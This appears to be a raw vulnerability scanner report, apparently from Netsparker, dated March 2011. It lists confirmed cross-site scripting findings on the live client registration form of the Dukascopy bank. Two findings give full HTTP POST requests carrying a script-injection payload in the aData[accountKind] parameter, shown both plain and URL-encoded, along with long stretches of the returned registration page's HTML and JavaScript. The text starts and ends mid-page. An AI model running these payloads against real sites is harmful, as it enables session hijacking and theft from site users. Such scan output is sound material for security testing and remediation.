var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST '"--></style></script><script>alert(0x000169)</script>
aData%5BserviceProvider%5D POST BBAC47
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 333
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000169)%3c%2fscript%3e&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:46 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 1
aData%5BaccountKind%5D POST '"--></style></script><script>alert(0x000168)</script>
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 265
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=1&aData%5BaccountKind%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000168)%3c%2fscript%3e&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:46 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
